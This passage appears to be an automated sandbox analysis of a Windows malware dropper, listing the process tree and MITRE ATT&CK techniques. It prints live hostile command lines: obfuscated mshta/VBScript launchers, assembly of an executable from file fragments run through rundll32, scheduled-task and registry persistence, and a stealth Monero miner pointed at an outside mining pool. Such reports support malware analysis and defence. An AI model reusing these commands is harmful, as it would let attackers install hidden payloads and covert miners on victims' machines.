        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:2176
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:2320
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:2512
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:2828
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:2892
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:2908
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        
        PID:2100
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        
        PID:2184
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:3260
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        
        PID:3288
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2140
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
      4⤵
      Loads dropped DLL
      PID:768
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon206d48916f93c5.exe
        
        Mon206d48916f93c5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:840
      - C:\Users\Admin\AppData\Roaming\3068818.scr
        
        "C:\Users\Admin\AppData\Roaming\3068818.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2228
      - C:\Users\Admin\AppData\Roaming\6093810.scr
        
        "C:\Users\Admin\AppData\Roaming\6093810.scr" /S
        6⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:2752
      - C:\Users\Admin\AppData\Roaming\5961731.scr
        
        "C:\Users\Admin\AppData\Roaming\5961731.scr" /S
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2920
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        
        PID:2376
      - C:\Users\Admin\AppData\Roaming\6998836.scr
        
        "C:\Users\Admin\AppData\Roaming\6998836.scr" /S
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1936
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
      4⤵
      Loads dropped DLL
      PID:932
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon209c830507d573.exe
        
        Mon209c830507d573.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1108
      - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon209c830507d573.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon209c830507d573.exe
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
      4⤵
      Loads dropped DLL
      PID:1104
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon2083f8d8970a0b2d.exe
        
        Mon2083f8d8970a0b2d.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1184
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      Loads dropped DLL
      PID:1876
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:652
      - C:\Users\Admin\Pictures\Adobe Films\dAvNEG81hOHrUOcXDNffZ0hA.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dAvNEG81hOHrUOcXDNffZ0hA.exe"
        6⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2252
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 652 -s 608
        6⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:3064
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      Loads dropped DLL
      PID:1592
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon209b3da1556b9a317.exe
        
        Mon209b3da1556b9a317.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:692
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2104
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2364
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2564
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:592
        
        C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe"
        9⤵
        Executes dropped EXE
        
        PID:3364
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe" /F
        10⤵
        Creates scheduled task(s)
        
        PID:3724
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\
        10⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2488
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2488 -s 936
        8⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2416
        
        C:\Users\Admin\AppData\Roaming\4490332.scr
        
        "C:\Users\Admin\AppData\Roaming\4490332.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2812
        
        C:\Users\Admin\AppData\Roaming\8069061.scr
        
        "C:\Users\Admin\AppData\Roaming\8069061.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:1432
        
        C:\Users\Admin\AppData\Roaming\6111346.scr
        
        "C:\Users\Admin\AppData\Roaming\6111346.scr" /S
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:1780
        
        C:\Users\Admin\AppData\Roaming\7959455.scr
        
        "C:\Users\Admin\AppData\Roaming\7959455.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious behavior: SetClipboardViewer
        
        PID:2908
        
        C:\Users\Admin\AppData\Roaming\6099704.scr
        
        "C:\Users\Admin\AppData\Roaming\6099704.scr" /S
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        
        PID:2732
        
        C:\Users\Admin\AppData\Local\Temp\is-F0ISP.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-F0ISP.tmp\setup.tmp" /SL5="$40200,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        
        PID:1108
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\is-SPF8P.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SPF8P.tmp\setup.tmp" /SL5="$50200,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2188
        
        C:\Users\Admin\AppData\Local\Temp\is-4ESQT.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-4ESQT.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        
        PID:2848
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2636
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:3684
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:3828
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:3352
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:1560
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:2080
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:2216
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3544
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      Loads dropped DLL
      PID:972
    - - C:\Users\Admin\AppData\Local\Temp\7zS05219616\Mon20b6f9d5bd03a305.exe
        
        Mon20b6f9d5bd03a305.exe
        5⤵
        Executes dropped EXE
        
        PID:1088

C:\Windows\system32\taskeng.exe
taskeng.exe {A3EDEAA7-7B77-4206-9A28-0EA56DC6D07A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:768

C:\Windows\SysWOW64\reg.exe
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\
1⤵
PID:3880

C:\Windows\system32\taskeng.exe
taskeng.exe {8FBD56E1-F0BC-42DD-9BE8-F5B38FBBFC3F} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
1⤵
PID:1860
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3652
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1960
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3508
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Users\Admin\AppData\Roaming\aebvbaf
  C:\Users\Admin\AppData\Roaming\aebvbaf
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2168
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3592
- C:\Program Files\Mozilla Firefox\default-browser-agent.exe
  "C:\Program Files\Mozilla Firefox\default-browser-agent.exe" do-task
  2⤵
  PID:1724
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1216
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2556
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3396
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:1680
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:3308
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2240
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2856
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  - Executes dropped EXE
  PID:2164
- C:\Users\Admin\AppData\Roaming\aebvbaf
  C:\Users\Admin\AppData\Roaming\aebvbaf
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:3608
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3988
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:1656
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:2676
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3452
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3452
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:1728
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3760
- C:\Users\Admin\AppData\Roaming\aebvbaf
  C:\Users\Admin\AppData\Roaming\aebvbaf
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:2920
- C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  C:\Users\Admin\AppData\Local\Temp\e8a12a95fa\sqtvvs.exe
  2⤵
  PID:3892

C:\Users\Admin\AppData\Local\Temp\C36E.exe
C:\Users\Admin\AppData\Local\Temp\C36E.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3628

C:\Windows\system32\taskeng.exe
taskeng.exe {F1637404-E65A-4695-9D61-38F40E8F48F6} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery